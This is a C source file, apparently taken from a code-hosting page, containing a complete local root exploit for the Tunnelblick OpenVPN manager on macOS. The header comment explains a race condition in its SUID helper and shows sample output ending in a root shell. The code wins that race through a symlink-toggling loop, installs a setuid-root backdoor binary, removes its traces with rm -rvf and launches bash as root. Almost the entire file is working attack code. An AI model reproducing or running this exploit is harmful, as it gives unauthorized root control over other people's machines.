132 lines
No EOL
3.7 KiB
C
132 lines
No EOL
3.7 KiB
C
/*
|
|
* ==== Pwnnel Blicker ====
|
|
* = =
|
|
* = zx2c4 =
|
|
* = =
|
|
* ========================
|
|
*
|
|
* Tunnel Blick, a widely used OpenVPN manager for OSX
|
|
* comes with a nice SUID executable that has more holes
|
|
* than you care to count. It's a treasure chest of local
|
|
* roots. I picked one that looked interesting, and here
|
|
* we have Pwnnel Blicker.
|
|
*
|
|
* Tunnel Blick will run any executable that has 744
|
|
* permissions and is owned by root:root. Probably we
|
|
* could find a way to exploit an already existing 744
|
|
* executable, but this would be too easy. So instead, we
|
|
* take advantage of a race condition between checking the
|
|
* file permissions on the executable and actually running
|
|
* it.
|
|
*
|
|
* Usage:
|
|
* $ ./a.out
|
|
* [+] Creating vulnerable directory.
|
|
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk
|
|
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents
|
|
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources
|
|
* [+] Writing pid and executing vulnerable program.
|
|
* [+] Running toggler.
|
|
* [+] Making backdoor.
|
|
* [+] Cleaning up.
|
|
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid
|
|
* [+] Complete. Run this again to get root.
|
|
* Killed: 9
|
|
*
|
|
* $ ./a.out
|
|
* [+] Getting root.
|
|
* # whoami
|
|
* root
|
|
*
|
|
*/
|
|
|
|
|
|
#include <unistd.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <stdint.h>
|
|
#include <string.h>
|
|
#include <sys/stat.h>
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char dir[512];
|
|
char script[512];
|
|
char command[512];
|
|
char pid_file[512];
|
|
char path[512];
|
|
char self[512];
|
|
uint32_t size;
|
|
pid_t pid, pid2;
|
|
FILE *file;
|
|
|
|
snprintf(dir, sizeof(dir), "%s/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources", getenv("HOME"));
|
|
snprintf(pid_file, sizeof(pid_file), "%s/exploit.pid", dir);
|
|
|
|
/* Oh god, do I miss /proc/self/exe. */
|
|
if (getenv("PWNPATH"))
|
|
strcpy(self, getenv("PWNPATH"));
|
|
else {
|
|
size = sizeof(path);
|
|
_NSGetExecutablePath(path, &size);
|
|
realpath(path, self);
|
|
setenv("PWNPATH", self, 1);
|
|
}
|
|
|
|
if (!geteuid()) {
|
|
file = fopen(pid_file, "r");
|
|
if (file) {
|
|
printf("[+] Making backdoor.\n");
|
|
chown(self, 0, 0);
|
|
chmod(self, S_ISUID | S_IXOTH);
|
|
|
|
printf("[+] Cleaning up.\n");
|
|
fscanf(file, "%d %d", &pid, &pid2);
|
|
fclose(file);
|
|
snprintf(command, sizeof(command), "rm -rvf '%s/../../../'", dir);
|
|
system(command);
|
|
|
|
printf("[+] Complete. Run this again to get root.\n");
|
|
kill(pid2, 9);
|
|
kill(pid, 9);
|
|
return 0;
|
|
}
|
|
printf("[+] Getting root.\n");
|
|
setuid(0);
|
|
setgid(0);
|
|
execl("/bin/bash", "bash", NULL);
|
|
}
|
|
|
|
|
|
printf("[+] Creating vulnerable directory.\n");
|
|
snprintf(command, sizeof(command), "mkdir -p -v '%s'", dir);
|
|
system(command);
|
|
|
|
pid = fork();
|
|
if (!pid) {
|
|
printf("[+] Running toggler.\n");
|
|
snprintf(script, sizeof(script), "%s/connected.sh", dir);
|
|
for (;;) {
|
|
unlink(script);
|
|
symlink("/Applications/Tunnelblick.app/Contents/Resources/client.down.tunnelblick.sh", script);
|
|
unlink(script);
|
|
symlink(self, script);
|
|
}
|
|
} else {
|
|
printf("[+] Writing pid and executing vulnerable program.\n");
|
|
file = fopen(pid_file, "w");
|
|
fprintf(file, "%d %d", pid, getpid());
|
|
fclose(file);
|
|
for (;;) {
|
|
if (fork())
|
|
wait(NULL);
|
|
else {
|
|
close(0);
|
|
close(2);
|
|
execl("/Applications/Tunnelblick.app/Contents/Resources/openvpnstart", "openvpnstart", "connected", "pwnage.tblk", "0", NULL);
|
|
}
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
} |